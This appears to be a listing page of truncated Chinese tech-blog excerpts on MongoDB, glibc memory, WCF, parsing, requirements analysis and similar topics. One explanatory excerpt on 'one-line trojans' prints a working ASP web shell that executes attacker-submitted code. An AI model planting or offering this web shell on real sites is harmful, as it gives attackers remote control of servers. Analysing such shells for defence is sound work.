在之前的文章中，介绍了关于master-slave模式下的主从端代码的执行流程，因为当时篇幅所限，未对oplog的数据结构以及mongodb的local数据库作过多阐述，而这可能会让不知道其内容的朋友看代码时云里雾里找不到头绪，今天我专门用一篇文章来大致解释一下（这些内容可能会在后面章节中有所涉及）。      首先

最近开发一个私人程序时碰到了严重的内存问题，具体表现为：进程占用的内存会随着访问高峰不断上升，直到发生OOM被kill为止。我们使用valgrind等工具进行检查发现程序并无内存泄露，经过仔细调查我们发现时glibc的内存管理机制导致的，下次将发文对此深入解释，本文只列出核心的几个要素： 1. glibc在多线程内存分配的场景下为了减少lock contention，会new出很多arena出来，

下面内容来自：《分析模式》。 分析和设计存在很多的不同之处，设计的目的是为了更高实现一个技术方案，而分析的目的是为了理解问题的本质。这不仅仅是用用例列出需求清单那么简单的事情。 假设我们想开发一个斯诺克台球模拟游戏，击打白球后，白球按照一定的轨迹运动，并且撞击红球。用例可以列出成千上万，但是这不足以让我们开发出一个更好的软件——你必须了解运动背后蕴含的规律。这个问题不难解决

分析和设计存在很多的不同之处，设计的目的是为了更高实现一个技术方案，而分析的目的是为了理解问题的本质。这不仅仅是用用例列出需求清单那么简单的事情。 假设我们想开发一个斯诺克台球模拟游戏，击打白球后，白球按照一定的轨迹运动，并且撞击红球。用例可以列出成千上万，但是这不足以让我们开发出一个更好的软件——你必须了解运动背后蕴含的规律。这个问题不难解决，因为这些规律已经众所周知。 但是在很多的应用领域

上一篇 我总结介绍了WCF技术的背景，核心要素，和典型场景，目的是希望让大家更好地掌握WCF技术，并且在工作中知道如何选择。 由于篇幅较长，这一篇继续写完第二部分。 应用场景： WCF 从发布到现在的将近5年左右的时间，经过了多次增强和改进，从最开始单纯的SOAP Service的方式，发展出来其他多种应用场景，分别是 1. SOAP Services 2. WebHttp Services 3

这一篇文章，是总结一下WCF技术，以及基于这个技术发展出来的几个典型应用场景，并且我将尝试对这些不同的WCF实现的原理进行一些比较分析。 关于WCF这个技术的基本概念，如果你不是很清楚，可以参考一下有关的文档 微软开发者中心 http://msdn.microsoft.com/en-us/netframework/aa663324   我的博客中先前也有很多这方面的介绍 http://z

在这里要申明的是逻辑模型并不能完全算需求分析阶段的工作，因为它包含了设计模型的概念，但是我又把它归纳了一块到需求分析阶段，原因在于逻辑模型中存在了业务对象模型和分析模型的概念。 言归正传，先来看用例模型。 用例模型 　　用例模型包含了两部分：业务用例模型和系统用例模型。从字面的意义来看，确实很难分清两者究竟在做些什么工作。因此我们要重点解释一下。 业务用例模型的目的在于： 1． 描述企业

上回我们说到语法分析使用的上下文无关语言，以及描述上下文无关文法的产生式、产生式推导和语法分析树等概念。今天我们就来讨论实际编写语法分析器的方法。今天介绍的这种方法叫做递归下降（recursive descent）法，这是一种适合手写语法编译器的方法，且非常简单。递归下降法对语言所用的文法有一些限制，但递归下降是现阶段主流的语法分析方法，因为它可以由开发人员高度控制，在提供错误信息方面也很有优势。

还是那个hello.c程序，我们将其小修改一下，来开始今天的话题。 1 #include <stdio.h>2 3  int myentry()4 {5 printf("hello world");6 return 0;7 } 可以看到，我将原来main的位置换成了myentry，这会有什么结果发生呢？ D:\test>cl /c hello.c

需求分析的六个原则（一） 　　1、需求分析第一个原则：永远不要显得比客户更聪明。　　聪明反被聪明误，这样的事情太多了，我们产品经理都是有智慧的人，而不是耍小聪明的人。　　2、原则第一点：了解需求，而不是去批评客户。       产品经理不是批评家，心理上要重视客户，行动上要尊重客户，平等对待每一个客户。　　3、原则第二点：客户比

      mongodb中提供了复制(Replication)机制，通过该机制可以帮助我们很容易实现读写分离方案，并支持灾难恢复（服务器断电）等意外情况下的数据安全。       在老版本(1.6)中，Mongo提供了两种方式的复制：master-slave及replica pair模式（注:mongodb最新支持

让我在能动笔的岁月中继续动笔吧！我一直想要写关于网站分析如何帮助评估SEO的效果，但是，因为自己并不是SEO的专家，而且目前仍在学习的过程中，因此提笔写这篇文章，觉得忐忑不安。我希望能有擅长SEO的朋友（例如南奇）能帮我指正。 同时，这篇文章是向Avinash的Web Analytics 2.0第四章中与SEO效果评估相关的内容致敬。另外，由于百度的SEO要比Google的SEO更加神鬼

题目：斐波那契数列,FIBONACCI数列特点是第1，第2两个数为1，1.从第3个数开始，该数是前两个数之和，求这个数列的前30个元素 分析： 費波那西數列（Fibonacci Sequence），又譯費波拿契數、斐波那契數列、費氏數列、黃金分割數列。在數學上，費波那西數列是以遞歸的方法來定義：F0 = 0F1 = 1Fn = Fn- 1 + Fn - 2 用文字來說，就是費波那西數列由 0 和

原理："一句话木马" 用来向接收客户端提交过来的控制数据，提交的数据通过服务端解析成语句并执行，可以提交定入文件，也可以提交查询数据库等语句。 一句话WEBSHELL分析： []中间是他们的关键字。提交的参数是0x001 ASP: <%execute request("0x001")%> [execute]  <%eval request(

随着Web 2.0技术的深入发展，Flex成为很多企业级应用的前端展示层。虽然Flex应用运行于FlashPalyer虚拟机之上，但是开发人员仍然会遇到一些内存泄露问题，那么如何分析和定位根源呢？IBM工程师王鹏最近撰文详细描述了检测Flex应用内存泄露的方方面面。 　　Flex采用ActionScript语言作为脚本语言，运行在FlashPlayer虚拟机之上，其垃圾回收机制概括如下： Flex

最近，在做一个使用线程控制下载文件的小程序（使用进度条控件显示下载进度）时，遇到这样的问题， 错误显示： 未处理的“System.InvalidOperationException”类型的异常出现在 System.Windows.Forms.dll 中。 其他信息: 线程间操作无效: 从不是创建控件“progressBar1”的线程访问它。 以前很少

    在之前的一篇文章中，介绍了mongos的balaner的执行流程，其中在源码中的Balancer::run()方法里简单说明了为了连接到configserver，balancer通过构造ScopedDbConnection实现来链接并执行相应操作，因为当时篇幅所限，只是该链接使用池化的方式一带而过，今天就专门介绍一下mongodb中使用池化方式来管理链接对象以

Yaml是一种不错的格式，无论是作为配置文件还是小量数据的存储都是一种不错的选择。ruby和它结合的比较好，但是其它语言，目前的parser还不完善。 C#就没有比较好的Yaml的Parser，在nuGet上找了半天，找到一个parse，但是貌似有问题，yaml文件缩进一定要两个空格，不能是Tab，我狂晕。 后来自己想了一个办法来解决这个问题。就是C#调用用IronRuby来解析，然后再返回给C#

前一阵子分析了一个将近1TB的数据群（gz文件，压缩率10%）。因为第一次分析如此巨大的数据，没有经验，所以浪费了许多时间。下面是我整理的一些经验，方便后者。 　　下载数据 Q：怎么自动下载多个文件？ 这是我遇到的第一个问题。当数据量很大时，一般都会分成很多个文件存放。这时下载文件比较麻烦。 A：用Wget命令。Windows下花费一点时间去下载安装。但之于手动下载，能省不少时间。 我提供两种方

最近中国移动在跟我们公司接触，共同开发3G应用程序相关事宜，先前只是觉得移动互联网注定会改变人们生活方式。但作为一个程序员，并没有打算关注3G在手机终端上的应用。因为根据我的经验，手机终端屏幕太小了，也就是仅仅适合小游戏和阅读一些小说用，坐在地铁上，据我观察，我看绝大部分玩手机的，要么发短信，要么看小说，玩游戏的都很少，受限于手机屏幕终端啊。而我关注的是企业管理软件和电子商务软件，相信精品软件，改